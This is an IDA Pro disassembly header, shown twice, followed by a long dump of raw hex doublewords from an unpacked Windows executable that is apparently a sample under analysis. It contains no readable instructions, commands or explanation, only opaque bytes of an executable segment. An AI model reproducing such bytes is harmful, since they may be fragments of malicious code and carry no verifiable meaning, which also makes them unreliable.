;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C4EFBDED079E0F3C8922FEEEADD6D2A3

; File Name   :	u:\work\c4efbded079e0f3c8922feeeadd6d2a3_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000E0000 ( 917504.)
; Section size in file		: 000E0000 ( 917504.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 86B82170h, 71ECF274h, 915E2652h, 0C4D29BB7h,	5FB62263h
		dd 93F24AA9h, 0A983E61Dh, 0A7406FE2h, 3AEE9FA6h, 6A36B15Dh
		dd 0FC893C24h, 170B6179h, 0B6D12947h, 8201DC88h, 1B438CB2h
		dd 0AFA4F10Ch, 6DEC351Bh, 597E5AB7h, 853F4259h,	63903BBh
		dd 0FE3BFE61h, 0E7CA23Dh, 0B34726BDh, 78E58D13h, 0DD3C680Ah
		dd 9E1EFD3Ah, 86C65585h, 0E8C034B5h, 0E01ACA6h,	0A68D9844h
		dd 2441F3A3h, 0BE64ABA3h, 4E6BB1E4h, 16544BE2h,	1F4135BDh
		dd 8C5EA36Dh, 0FF57195h, 9BE94F66h, 0EB4DC6FFh,	0C0036207h
		dd 0EEBC7A52h, 8A98B19Dh, 0BE3E6FBBh, 0EFDB31Dh, 8AB83D15h
		dd 0BFD9D79Dh, 32EB599Fh, 403DDC9Fh, 5E596152h,	4D5AFD49h
		dd 8A1B8ECEh, 0E135CBEh, 3C02FE99h, 7B24ED38h, 82F535A6h
		dd 1D8FF1CDh, 902631E1h, 0E3F357Eh, 51F3EA8Dh, 1402617h
		dd 0B036663Ah, 0D546FE52h, 25258C71h, 0EC986270h, 0E2C23B7Ch
		dd 369B2309h, 504597A5h, 5EFA3371h, 0FDA508A3h,	3D624949h
		dd 0FCE53E54h, 253F06A1h, 5C61A148h, 92DECB38h,	0E57A12F2h
		dd 8A0222B5h, 799F4EA0h, 0B2013931h, 70DEC7D9h,	0CAEABE48h
		dd 0FC5A84Dh, 0AE3E6750h, 3EBFC2A2h, 6B5420A8h,	0DE8AECFEh
		dd 0A89493A1h, 9F19D18Dh, 0F6C7A81Fh, 5A43F935h, 6DBE27DDh
		dd 3ED4360Eh, 4147BC2Ah, 421156Eh, 0BEA3D25Dh, 1FA5E367h
		dd 0BF2EDDE5h, 8AD12023h, 71D51C3Ah, 0B16C9F36h, 3D385D16h
		dd 8E7C3160h, 0DA861ED5h, 0BEC147F2h, 0B3FE8201h, 529F2939h
		dd 5E5B483Ch, 32E0CEB3h, 9B3E19BAh, 0BEC8229Dh,	621A828Ch
		dd 41577885h, 0A3C131A1h, 0E342A574h, 0E54AC43Ch, 9C9552BFh
		dd 5A323BA9h, 0FB784761h, 2E09E550h, 7E3C0C3Ch,	4D129195h
		dd 236A98F3h, 51535E47h, 0BABBF5C2h, 0C6892622h, 0A138C2Fh
		dd 9CDB0B20h, 5A911245h, 4A13C982h, 0C3B24610h,	5F1C1C9h
		dd 0A1F53D3Ch, 2E40E421h, 64EEA9BAh, 91C536BBh,	9CDAF6B7h
		dd 12D00353h, 0A9801A45h, 9F471020h, 5D87A149h,	0B423234Bh
		dd 254C809Ah, 0B9ABA084h, 0B0680069h, 962ECF14h, 0B2FB3EBCh
		dd 9A1DD34h, 0F349E879h, 933537E4h, 0BFFBF23Ch,	4190A387h
		dd 0EA2929D8h, 0CE0DD91Dh, 957E0E63h, 0D15AEDA0h, 0F9E270B5h
		dd 40131D5Ch, 0ACED0B42h, 1DBA3155h, 54478855h,	0F89AD948h
		dd 6D90FDE7h, 0D413DD5Fh, 0FE5A27A2h, 6603DFC3h, 0BD07B6A1h
		dd 61997B32h, 0CAAA3B48h, 1AEC58AEh, 22E360BBh,	61340CCEh
		dd 0DB23FD9Dh, 0F7D0596Ah, 0AAE0657Bh, 2412749h, 0DF4BC315h
		dd 0AA338A7Eh, 0DB293D7Ch, 0A04AF922h, 2C1F335Ch, 0B1BFF125h
		dd 3220B5F1h, 0BD5955E0h, 95083145h, 7017C010h,	0D33FDD45h
		dd 0BDE358BBh, 54AAC955h, 43FDF933h, 6D0720A1h,	0CBA06831h
		dd 677BF57Ch, 95C94900h, 0A7BE9A33h, 773DCB5Ch,	0FE004DC1h
		dd 0C1822372h, 0CC22AC4Dh, 0E35DB161h, 23B89142h, 671936D0h
		dd 8A01ECB2h, 6216ACFEh, 46AB424Ch, 0FCC23D79h,	0A999F1C8h
		dd 2ECAB23h, 45350522h,	17729921h, 0DF529774h, 0A04CDAB6h
		dd 910DCD1Dh, 0AE218B81h, 69E4829h, 46CB0E96h, 86112872h
		dd 0C84B0A5Fh, 0B480834Fh, 0D97AC95Dh, 0C503C74Bh, 272FC281h
		dd 0D10F2B9Dh, 1D852B7Ch, 685F4168h, 18392385h,	0AC5E8062h
		dd 9ED52CA6h, 709A739Dh, 4062891h, 6220A6BDh, 2522CEBEh
		dd 99C2F96Ch, 0A272C94Ch, 0D02F9FF5h, 0A83AF31Bh, 22C65C75h
		dd 0AB7A3C11h, 105F83F1h, 0CC12CAB8h, 60377DA5h, 2A87CD5Bh
		dd 0BB6FAFABh, 6DF0882Ah, 0E50BF2B3h, 0A7A2851Dh, 63B2EC7Bh
		dd 1B396A75h, 5F80EC72h, 0DEE9496Bh, 22911CBh, 55A39291h
		dd 0EDED3765h, 0A2A6B63Eh, 0C951931h, 1ABEE5B3h, 5E4A6133h
		dd 0CCF2A4Ch, 7522E0C5h, 90DB7EA6h, 66081D0Ch, 20BA2A50h
		dd 0F838309h, 20C6F74Ah, 0ACAAE274h, 7B208996h,	5FC3B2B9h
		dd 0F69D1056h, 0B7B872Ch, 7FFA370Ch, 4710D510h,	0AE833875h
		dd 9E40A703h, 0A23110B4h, 4471892Dh, 76CD37D9h,	29CC3584h
		dd 2BFA9FBAh, 45C2675Fh, 0FAC1A61Bh, 0B2EBCEA2h, 6EE7DC4Fh
		dd 0D6A03562h, 655D2B84h, 3BA92DD2h, 4E5B10Dh, 0EEE16666h
		dd 0A41AC958h, 3EA1FE64h, 7DAC3049h, 0FE2E6757h, 70BF157Dh
		dd 0B51FAC9Dh, 0BD9D043Ch, 0CF1E6D57h, 6845AB1h, 238D031Eh
		dd 662A139Dh, 0B319FEBDh, 53318A21h, 9DD13D75h,	62F7D6A6h
		dd 4CAF2A7Ch, 1D0B4DD5h, 163CAC28h, 8A8218FDh, 2A011B11h
		dd 6E5AB46Dh, 1DB3A95Ah, 0B32B3DC3h, 1B3A2E27h,	52C14A11h
		dd 0BD931D48h, 49FEDBF1h, 7CE3B586h, 761E8D80h,	1026E903h
		dd 0A74FAFF7h, 0E12963E4h, 0B6E85D60h, 1D0C4855h, 30A6CE9Dh
		dd 78E5432Ch, 0E3E95285h, 7605630Dh, 61B2B4C4h,	0A33AEC85h
		dd 73D8FE0Fh, 0D7B799C4h, 8D38CD15h, 1B7D8DB8h,	58411005h
		dd 2CCFBCC3h, 3E340013h, 9596CFCAh, 0FAEE5A3h, 0FD3ABB03h
		dd 83ADB7BCh, 0EBE2393h, 299331A7h, 4FC7F0h, 0CF2D5D41h
		dd 0B6D8AA7Fh, 106EE32Fh, 0AA928264h, 260F264Ah, 0A6209EDAh
		dd 0F7146F3Dh, 92E35E31h, 0DADB75ABh, 43E5043h,	2EE52C4Ah
		dd 9F518195h, 41ACADDh,	44522F13h, 1CBD0390h, 0AD1D3DCAh
		dd 2E92A9B5h, 71698D73h, 0FC32E586h, 0F256B0Ch,	7D120E49h
		dd 0E9BDFD71h, 555A3C1Fh, 66A1EEA6h, 5703F449h,	9BFF3C9Dh
		dd 0AF7D08E4h, 7F6D36EEh, 0D07BC651h, 0E4286D15h, 42265D49h
		dd 0BC04EA7Dh, 0C1BD0993h, 14BFCE07h, 525A3889h, 0F432522h
		dd 3ADD2FBEh, 854034EAh, 658E4DCDh, 0C41979F1h,	6CFB49F9h
		dd 71EA281Dh, 7CDE2B0Dh, 768222B3h, 1E5F9Ah, 0B4B510EDh
		dd 4CE4495Bh, 4840F6A7h, 0A41CB8Ah, 5B7E62B8h, 22EA20A8h
		dd 151A2C4Dh, 90CFE9BCh, 0E28E57A1h, 2F23C78h, 6F6E7DBEh
		dd 30185DDCh, 4FC2A473h, 0DEB33CB9h, 7E276385h,	2D9F006Eh
		dd 43A136B0h, 4E0E9305h, 0B1B6A520h, 869FC401h,	0B3EA3E34h
		dd 6AA6974Fh, 0EF700CB1h, 72822919h, 0B52B0ADCh, 3741148h
		dd 4231E93Dh, 0E29932C1h, 0AB626702h, 0A3AF1ECh, 25AC1780h
		dd 208834Ch, 0BB8731BDh, 6A25307Dh, 0E7DCA79Ch,	1E8B5C58h
		dd 9CEA6F48h, 0D1AA4219h, 501F2034h, 228FA73Ch,	0E9170678h
		dd 0E41ECB53h, 63B0F382h, 95B2D3E5h, 0BA18B262h, 0AA3C69E8h
		dd 0A3EC2AB1h, 0B2F7496Eh, 2AFD1518h, 8D082898h, 0DE273427h
		dd 1D874BA4h, 43CE24A7h, 5BCE2BEAh, 69C1F349h, 2DA5B33h
		dd 25DF2DFEh, 0A8651BB9h, 5E5BB829h, 5A812340h,	41A3571Fh
		dd 0C314400Dh, 263ADAB4h, 0C160A90Fh, 9C32457Dh, 0CD5CA070h
		dd 0E2642E23h, 2F7C53Fh, 0B69357A2h, 72A77495h,	269D194Ah
		dd 0DC0939A9h, 3B294962h, 7694981Ah, 50466954h,	0FDFC3910h
		dd 371D0288h, 0A21A7B79h, 0B224F621h, 0D7CEBC58h, 8B5D3821h
		dd 62F71DC5h, 0E899FCB7h, 71040351h, 86DD3145h,	0A2A2B090h
		dd 0B5188D67h, 0A09D0D3Fh, 82BA91BDh, 0D8F3774Eh, 0AB31EC8Bh
		dd 0A3F41329h, 721034B6h, 2ABA1DF7h, 6253680Ch,	915AAEA4h
		dd 1ECBABDAh, 73B036E8h, 1B22D6B7h, 0CFB94B29h,	43353760h
		dd 0DBAE0B3Ch, 0E0A6185Fh, 23BA3979h, 0DCCB631Dh, 344C86BBh
		dd 0DCEFFE01h, 7425C8A4h, 5BAFB538h, 0BA43AA52h, 403BDDC1h
		dd 0A8161925h, 9CEAAECFh, 0D8340675h, 23422315h, 4FBE6F4Ch
		dd 71F11036h, 38AC0533h, 9C3C510Dh, 0E4F2D87Bh,	522CEE3Bh
		dd 0BBBE32C8h, 17BB4925h, 0A82C69ADh, 41BA2F61h, 57C24C05h
		dd 4F972B67h, 0C06D1EC9h
		dd 658B1294h, 78927828h, 0FE2DCB41h, 82FC2661h,	0A6C10C6Ch
		dd 0A15EC941h, 24531501h, 0F5EF0146h, 35520689h, 43EB5BDBh
		dd 2B8FEDD3h, 14B06FE4h, 504D3B76h, 54173D7Ah, 42FFBA2Bh
		dd 0B20B6460h, 6485C023h, 4312F5DFh, 2B23611Dh,	0B338F42Ch
		dd 250D8D9Ch, 5C94E10Fh, 0C20002E9h, 6132CAB5h,	5CBE995Bh
		dd 14496D57h, 0B3339D43h, 442EDC49h, 0B2EC911Dh, 82B7A5D0h
		dd 0E4A0F432h, 5AF7DD25h, 0D670861Dh, 821E9562h, 63B67D17h
		dd 100BCD9Ah, 0C46700D9h, 6DE61649h, 42B28D8Dh,	3EB5229Dh
		dd 0BAD350D9h, 5D728849h, 2529232Ch, 6D5648FEh,	2B4BB116h
		dd 970D022Ch, 991F664Fh, 9B0E000h, 0A4EE903Bh, 67B4EDC1h
		dd 0BA416008h, 48A2B414h, 0FE9F7810h, 79BEBEB5h, 0DEFDDEDCh
		dd 5F00F2BBh, 52F3A159h, 2BCCDD47h, 388A4332h, 0BA039FCBh
		dd 76D13029h, 38F8400Ch, 0AED43A5Ah, 22BE3361h,	2A78547h
		dd 40960294h, 0C89C62B4h, 2E3129Dh, 98719969h, 0B5EB402Dh
		dd 60034C63h, 679BA9F1h, 15B58059h, 43DDF0C4h, 0C28D28BAh
		dd 4154F0DEh, 6C70FCE4h, 0BC2AA8E1h, 2F9175FFh,	0BD9F0D9Ch
		dd 0BC0EED32h, 0BE10983Fh, 0C0B82E9Fh, 0F9BBB22Dh, 0A362E365h
		dd 4601C1B3h, 75811643h, 2A08D3DDh, 3A23C8B2h, 0D39DAE38h
		dd 0E1EE03Fh, 74829142h, 7F2327h, 5EFDE6BFh, 3E9CD5DDh
		dd 71CA0DACh, 0E5B7D27Bh, 79E2A560h, 72CE2978h,	463872D9h
		dd 0C393F611h, 752FF74Ah, 0A9DB3322h, 0AB79B463h, 83388418h
		dd 25B13E6Dh, 0F0B40128h, 0ADD10643h, 3C2EA8EAh, 1A148EF3h
		dd 1BFF3D11h, 0DAEC83FEh, 77C922DFh, 6EE6B688h,	85638435h
		dd 0A2392BDFh, 0A5244011h, 0A9B3BE73h, 794AAA59h, 0D7403C52h
		dd 3BC47A32h, 5ACE692Eh, 0A25F13E4h, 91BC2252h,	0FF4FFD1Dh
		dd 39E8AEF5h, 0D4351A44h, 4EE65D1Ch, 118249E2h,	0BF7E71A1h
		dd 53BDB99Ah, 42F7EC0Dh, 0BD7D3020h, 0B06ED49h,	0CCFB0E10h
		dd 4F44334Fh, 0BB922986h, 4635F474h, 280AC87h, 2307B64Dh
		dd 62BC3DDFh, 1B77983Dh, 51852D98h, 2D3B42B0h, 0F4BD6EFEh
		dd 0F2DAE04Bh, 83E0AC91h, 0C9BADFCCh, 22888945h, 613CE849h
		dd 0DDF4D5F3h, 0A8658763h, 0A72AE7BFh, 2B893517h, 0B2B0B334h
		dd 317F23C1h, 2C1C0041h, 8843A83Ah, 830EDF19h, 4E220EF6h
		dd 0FD9A71E7h, 28E6F0B0h, 0B47A664Bh, 630A68B4h, 60692049h
		dd 0C01F05DFh, 8E810303h, 0E0751673h, 0D59FDDD9h, 77DB88F0h
		dd 102A8151h, 0A7EC873Dh, 77C10743h, 36123F1Ah,	0B0EA8CAEh
		dd 2BB5B87Eh, 5F1FD229h, 9E09B825h, 5FA30CBCh, 5B5279B5h
		dd 0D6B623A6h, 2231C7Bh, 748AB7BEh, 5356AB90h, 37FF90B0h
		dd 0D14184B9h, 320FF2D1h, 31EDAD2Eh, 1EF70C4Ah,	1F9318C7h
		dd 0E42A791Eh, 4FE8815Eh, 0FAF591E6h, 12C04DDAh, 37C70149h
		dd 0E0E312F2h, 42EB01Dh, 4F06D2BDh, 0A2EE8E25h,	0BC0AB692h
		dd 0A6FE109Fh, 7D5EC6B3h, 0AB2FBF9Ah, 0AAC50E3Ah, 1DA88EDFh
		dd 6F46E545h, 1C4D0FBDh, 42304CB9h, 0D1F8CE47h,	1F4EA175h
		dd 6D863500h, 0B4DB3344h, 2AE8073Ch, 2AFEDF34h,	0FFB32D17h
		dd 1ADD3D06h, 1D2C9CFh,	2DB8E07Ah, 0B9B7ABB1h, 337BC84Eh
		dd 1ABEA0FBh, 1AD4AA8Fh, 77B2129Ch, 4A9EBB83h, 27AC2E10h
		dd 9AF3104Bh, 9482382Dh, 74C6A1C1h, 1E322871h, 0EEA68445h
		dd 0F9B96A0h, 0F036FFA9h, 0F5EBDB0Fh, 0B1B4CFCCh, 0EA439ACh
		dd 0B2F8776Fh, 0D37F10DCh, 2DF2ADCEh, 0DF108E48h, 417BB9FFh
		dd 0A26D4D43h, 0B66A5FB5h, 9EFEA7E5h, 8586B53Ch, 91812F7Dh
		dd 950962EDh, 6B0C9143h, 0C6FA440Eh, 20A1E39Ah,	6AF124B8h
		dd 9FC2A638h, 0B6D1026Ch, 54DD5CC4h, 0C572DB48h, 0A74F1955h
		dd 212F075h, 0B75BC271h, 660680AAh, 22BF97BDh, 9D9E24F4h
		dd 0DC8590C0h, 0DC5F06D9h, 2B201925h, 701E9247h, 59113D78h
		dd 0AD4845B5h, 0BA8F131Bh, 5B3285B3h, 8652DD73h, 0ECE6CF43h
		dd 8ADD0C15h, 0A4E19092h, 46ABA05h, 0E45BDD84h,	1EDA127Dh
		dd 48F8529Dh, 8012F824h, 972DC81Eh, 82294D35h, 246CB3FEh
		dd 0BA9E4549h, 0EFEED105h, 3292DAFCh, 35A82CBFh, 3452A901h
		dd 536C5563h, 22B77C79h, 5D007F19h, 995118CDh, 0CD31876Ah
		dd 4C7A6DB1h, 4DA896D4h, 0B829A908h, 4E3240A7h,	3C6C56B5h
		dd 0A7367C79h, 8ABEC37Fh, 0F330B8Fh, 561D9F4Ch,	8391C01Dh
		dd 509BC4C7h, 0F146636Bh, 6D5F49B5h, 37FACA7h, 121F2905h
		dd 463530C2h, 5A9DCE3Dh, 52FAB4AEh, 5439A8A4h, 0BDA0A6A0h
		dd 0AE02363Ch, 25BC0D51h, 4C7AE67Dh, 17BBEE5Dh,	625E7705h
		dd 3C129C4h, 0BE151315h, 0D4754943h, 7B2FF2B0h,	1028DC06h
		dd 3B97AD23h, 0BCA50B5Dh, 0AD7D1108h, 0A811B244h, 0C83804E3h
		dd 30B4B4C4h, 0A28322A4h, 0C889C55Dh, 82FFF682h, 0E10112Bh
		dd 4B7BA1B0h, 61A800EDh, 4602E46Ah, 65B4629h, 7400FA1Ch
		dd 0FCBA0E94h, 0E3EACFCCh, 0C6AA9ABh, 0D437AB5Ch, 4BDAC847h
		dd 9CFAAEB1h, 9D30BEB6h, 0FAB41D38h, 647043EEh,	9F20DAFh
		dd 285FBA4Dh, 0AD2833Eh, 0AA4F6842h, 0AE3CC1E1h, 0CA0FA538h
		dd 7C0965A8h, 0C3FF051Dh, 0E07E2F1Ah, 0B8C6679h, 0AEF4C946h
		dd 530D1425h, 403A7A46h, 2A04498Dh, 8EFFB022h, 8BE49562h
		dd 0BC86252Eh, 33F7493Ah, 6AF0EF77h, 79F96C6Bh,	0BD5EEC2h
		dd 5D2D1DFBh, 5D22231Bh, 0A45D2B19h, 0A5368033h, 7AF0843Dh
		dd 0AB351B3Eh, 685C39F6h, 9F55C35Dh, 0C841E663h, 512EFE36h
		dd 5E97ED38h, 25BD31EAh, 0AA8C8EADh, 32B3454Dh,	43469AD2h
		dd 0A1B8164Ch, 52302CA0h, 78009306h, 19E53544h,	47BF6ED3h
		dd 1E282469h, 0ABFE3D7Bh, 532D445Fh, 50004FCh, 0C0FC199h
		dd 0A2C7AA4Dh, 0F72EC950h, 62D27722h, 0A690F621h, 70E733C1h
		dd 9EDA6304h, 41F63073h, 734C3B72h, 0CC4F789Dh,	8D4AFB3Dh
		dd 1B9F11BDh, 0B6CFA7E0h, 0ABFA7721h, 0C2858445h, 0BBA2A2BAh
		dd 0AE3CBEA7h, 1EDE519Ch, 5D57EDB4h, 0E50539D7h, 9EF0C8A0h
		dd 0E35AA3FCh, 5150BD31h, 0BCCF4D1Dh, 0D1229A0Ah, 3A87A149h
		dd 6CC916B1h, 534329BCh, 9DDB3F27h, 0A76509CCh,	32AEEB36h
		dd 23B3C19Bh, 18CA031Ch, 923396B0h, 2348A230h, 85FABA7Fh
		dd 93F01098h, 5A05C11Bh, 0BA80A13Eh, 0B0A0BC3Dh, 0D1C109B3h
		dd 4B5D0118h, 0ACA78D37h, 0CC36CB5Dh, 2E74AD35h, 0DB75704Fh
		dd 0D51A0BBFh, 62D1F329h, 29F5031h, 77020F39h, 743B42B9h
		dd 1728ABCEh, 45841AFCh, 1CEC5537h, 0C4029446h,	6CC9314Ch
		dd 431F6CC2h, 2AF0ECE6h, 0AB8C160Eh, 4E1B06A0h,	0B217A275h
		dd 0AA62FF91h, 0FA1573C5h, 6DAAF4AFh, 0F5C7EFDCh, 27BEE6B1h
		dd 0FEC90444h, 0DC1277A9h, 31781BBDh, 0A24F36A5h, 23416022h
		dd 322ED58Ch, 8D6D1795h, 386660BDh, 63901B1h, 305072BDh
		dd 91813CFEh, 0AC75031Ah, 5E352AD3h, 0B0A79345h, 0E2221662h
		dd 1093AEB5h, 1E812946h, 7C7AD263h, 78206501h, 0BB07E24Fh
		dd 0CCFA31EDh, 0A295385Dh, 0A3B2AC51h, 6AF595FDh, 0A2245DD4h
		dd 0A400ADC5h, 36DE6FFDh, 428E5C42h, 2E00AFD4h,	39E04144h
		dd 0A2B53048h, 24B2ACFAh, 0D0324088h, 162BDCD3h, 2ABF81BDh
		dd 5ED26905h, 5CFF1539h, 0AAD90049h, 0B313932Eh, 28E32909h
		dd 0FDAEE335h, 23CCBE5h, 72114471h, 395A2A65h, 521BC075h
		dd 580BFE21h, 222870B5h, 0C1EEC51h, 422B65B0h, 6D845CBCh
		dd 0B222387Fh, 0A77AEBB5h, 0D6A94F63h, 0AB3BEF5Ch, 0BC235085h
		dd 5D607DC7h, 4D4193E8h
		dd 7B4A0091h, 5CBE8ABDh, 5D1F9331h, 4511F036h, 0B47509A3h
		dd 1FD82919h, 0AA351316h, 0AAF9005Ch, 690269DEh, 3C3795F5h
		dd 421A2DAAh, 0BA2BA743h, 7FBE39BDh, 0A37762B7h, 6F01295Ch
		dd 0B2522554h, 9E18BB61h, 8B56CEB5h, 0BB934577h, 2372B159h
		dd 0AB05FFFEh, 0CA23E31Dh, 3F7D23B5h, 0A2198761h, 5EAACEB3h
		dd 7A6B0039h, 61BEA6BDh, 5641F910h, 86184864h, 45C7576Bh
		dd 6A6FFCB9h, 4E4D203Ah, 71BFCAECh, 0CE52E69Dh,	0BC78940Fh
		dd 71234D47h, 0B100C94Dh, 0ACEF01Dh, 1522098Bh,	0B005E820h
		dd 0AA24FBBDh, 6E608975h, 0F201E63Eh, 0DC5300F5h, 0E7DBFF40h
		dd 3D1804B6h, 0AA343366h, 4A2200DAh, 59F0A374h,	9EA2E0B2h
		dd 451B3147h, 191BE601h, 5DCA009Dh, 0BBDFF3B2h,	595D5651h
		dd 3AE0B03h, 833CF9F4h,	3B27501Bh, 0B93356DDh, 2BB52BCCh
		dd 78E94895h, 43A2A4ECh, 6CAA5F44h, 83188547h, 0D6030853h
		dd 38E87444h, 0A45A0B04h, 0BB92E35Ch, 6A4FBC1h,	786249B2h
		dd 433D0251h, 9FEBFF2Ah, 89AEAD63h, 2A1B9E7Bh, 83F0A921h
		dd 0B1717323h, 0AF00DAB4h, 0D8003F68h, 4232D144h, 2629B0D3h
		dd 5D2F3243h, 0A4E90029h, 8BC7BEA7h, 0BF542346h, 0B30B0361h
		dd 0CA6E296Dh, 0AA20B35Ch, 0A2220860h, 968131B5h, 7096E997h
		dd 8EDD2BBDh, 7D728497h, 0AAE64944h, 82C1A9E1h,	0B06F2935h
		dd 0AF3A6560h, 0A683F817h, 0A647ADD9h, 3EB2BF44h, 1BEBED3Dh
		dd 5CBEB6B9h, 7EEC6956h, 0B02B033Dh, 1623E062h,	0B0932DB5h
		dd 8A3ADD4Ch, 0BBA4BF63h, 0F52363EDh, 0AB2E7403h, 207F2901h
		dd 737A9935h, 1B169061h, 0BBEEE33Fh, 4CD6CDC9h,	0A5BC3079h
		dd 62B53744h, 93EAD33Dh, 5A00A2B2h, 0C0DEC444h,	6233E553h
		dd 2AB201BAh, 7311A96Dh, 1E113560h, 4B7D0763h, 0A3231501h
		dd 9003DC6Dh, 5DEAFB85h, 88529EA3h, 9FCC1727h, 6D35911Ah
		dd 945AB6EBh, 678C6B6Eh, 0F5151Bh, 0BBB1DBFCh, 0B640CF58h
		dd 0DF50DA9Ch, 879D031Dh, 1AF9E5Ah, 5F337ABDh, 3C2E29C1h
		dd 36366E0Ch, 0E2B7E321h, 0BCAACD36h, 14003F2Dh, 7D32BD44h
		dd 0A232DFD4h, 6800AD35h, 8AD4C0FDh, 4AEA183Dh,	5CBEA6B9h
		dd 7E296941h, 746D0E2Dh, 0E3357F9h, 2E0058BDh, 6DE9E3Dh
		dd 5D2C4C43h, 5CBED02Eh, 7EE069F5h, 0B0880305h,	72223262h
		dd 98938CB5h, 1EF52EB7h, 0E57EB063h, 0ABF900B8h, 0CF222A29h
		dd 1BAED35h, 5A39380Ch,	0E2F0E321h, 0BC0EC2A1h,	0EC223F68h
		dd 221536B9h, 0A687F85Dh, 0AD00AD41h, 0BADEB6FDh, 0A4B12744h
		dd 0B2B2DB44h, 8BEA483Dh, 0AA00A2BAh, 0F6DE7D44h, 0D9322953h
		dd 1C561248h, 874ACEBBh, 5E9672B2h, 0EA21F9AAh,	58ACEB89h
		dd 0DA0687F7h, 92E6286Ch, 0DA013B10h, 64568D44h, 7E71F8B5h
		dd 58C18621h, 24481245h, 9E582B4Bh, 55D8FAB0h, 36F6E1E8h
		dd 4056BAB4h, 17EA750Eh, 2646AD31h, 274CB24h, 2DB8EFC2h
		dd 0F3CAA01Ch, 0BE812E91h, 9E45E17Eh, 1EB29D29h, 5ED05561h
		dd 0D6F9AA5Ah, 0AF49B8F9h, 0EA1AA43Ch, 505818B1h, 0BACB3141h
		dd 2D560845h, 0B0A5E3DCh, 4312D9BBh, 0C96A490Eh, 0AFB515B0h
		dd 45A33317h, 0B7BBA2B5h, 6728B54Dh, 25B87419h,	5F6DF938h
		dd 1C0C052h, 7D4CC36Eh,	755A32B5h, 0AA0600B3h, 42C2D421h
		dd 0A4FC1421h, 0AF3EDBB3h, 2013151Ah, 1FEF2984h, 9233E2EDh
		dd 902009Ah, 860128FDh,	5D2F1543h, 0AB6100CDh, 0B3C1934Eh
		dd 1F43298Dh, 0EF7D1D35h, 0AEB35463h, 0DE220662h, 0C8937EB5h
		dd 1E892EBEh, 347A6263h, 0C8209101h, 1E3C4D4Fh,	33238963h
		dd 0AB3F5B03h, 0B15328C9h, 0AA3E9D44h, 73D5A931h, 1EBD35C6h
		dd 0F30FB7Eh, 6EC8D070h, 745D319Ah, 6343F53Ch, 0B61253C8h
		dd 20E0D17Eh, 0EA7E3B04h, 0EE1BD9BCh, 85BAE34Eh, 15C11DB5h
		dd 83976C9Dh, 429883F6h, 8E19CF79h, 0B724DA35h,	0C8B12904h
		dd 0E22F4630h, 2336C9BDh, 0ECB46B5Ah, 253A9395h, 255CD09Ah
		dd 59D1C1F8h, 2F484869h, 47F2994Bh, 0E13B7C8h, 854900B0h
		dd 5B08AAB3h, 32EEDF5Bh, 0BFB2961Fh, 3B6956B1h,	0F2C9493Bh
		dd 27CCE3DEh, 2056C436h, 3C1173B5h, 0E1AAE51Fh,	0F8688569h
		dd 9D7EBD6Ah, 37FB0354h, 9B1CC66Ch, 0BE3ADAC6h,	2052BD25h
		dd 22A23147h, 2F72DDDBh, 3280B495h, 6504039Bh, 8AA50051h
		dd 5856AF3Dh, 5D031B3Ah, 0A2CDF4ADh, 0A488625Dh, 824D04C5h
		dd 0EB7885DCh, 1D422960h, 0B30D2AE4h, 4C905F10h, 23224D5Dh
		dd 0A7DB0170h, 17F24EBAh, 0E2D01135h, 0DB4B9970h, 0A3485ECCh
		dd 0BB4C71AFh, 123B7D0h, 18B21AF4h, 0E5E6F052h,	5D5B0355h
		dd 0EACAEADh, 798A0029h, 735A06A0h, 273C9607h, 581759F5h
		dd 5A95046Ch, 0E6BF6EABh, 46E13AFCh, 238D3D6Bh,	953632A0h
		dd 3B313CE9h, 5BF8514Fh, 273C0EE7h, 60105F2Dh, 0A31CC58Dh
		dd 2A0BB7B8h, 0E095EEB9h, 0B80BE6A4h, 0B5594F10h, 2ACF7C5h
		dd 0A1EAD7FDh, 893C40E4h, 4EC41271h, 0AA259D38h, 0E9052FACh
		dd 0D35170A0h, 4EBE3C5Eh, 0CE70CCAh, 2446ED6Ah,	0C49C9C26h
		dd 0C62FB9E1h, 24A32AD7h, 5352443Ah, 5B4CFF58h,	0FB1FCF14h
		dd 0EA0B2C94h, 92BE0052h, 0BAB033D0h, 0FDB13DBFh, 22E38579h
		dd 9C005EC5h, 0DA102121h, 4FA2846Dh, 0A906111Bh, 2F029930h
		dd 1E27513Ah, 0A45AB550h, 23501A25h, 181C1608h,	0B97DE143h
		dd 3ECA41FFh, 58EA7848h, 6047314Fh, 0B847B956h,	1CF764B6h
		dd 0F8C6776Ah, 4890131Bh, 0DE0AAEF9h, 0CA1D7228h, 91E10EC1h
		dd 0B9F2F9FBh, 0A243A885h, 0B56AE3D0h, 1E3745E8h, 0AD31AFB5h
		dd 3E109D80h, 0ADA48B78h, 578DB497h, 0DE323A5Bh, 434D1121h
		dd 21620E9Dh, 0A03B7F1Fh, 0B412843Dh, 0D2F3204Ah, 56064B41h
		dd 9C343938h, 10B47523h, 0B290815Dh, 0D23915E9h, 6B8EED3Fh
		dd 0A2F19D0h, 33C7AD9Ch, 0B38313Eh, 4622D963h, 5D4A6144h
		dd 0DB295EC5h, 0AA35E1E1h, 7C9659E5h, 5DE5AF37h, 240B00B5h
		dd 0F3BFC6D8h, 70DF134Bh, 3B9F11Eh, 0BA279F08h,	731F0C09h
		dd 0A5331522h, 3512D0FCh, 0BD5BA97Fh, 34754C0Bh, 0E64A42B5h
		dd 835AADD6h, 4D8149A3h, 823E361Ch, 2A8FDB10h, 4238A773h
		dd 5E2CA51Dh, 1EF9AAD8h, 1185C543h, 1969C35Ch, 0EC708ABCh
		dd 2CA33CC4h, 7E354A20h, 57109B3h, 852E4750h, 0A990F77Fh
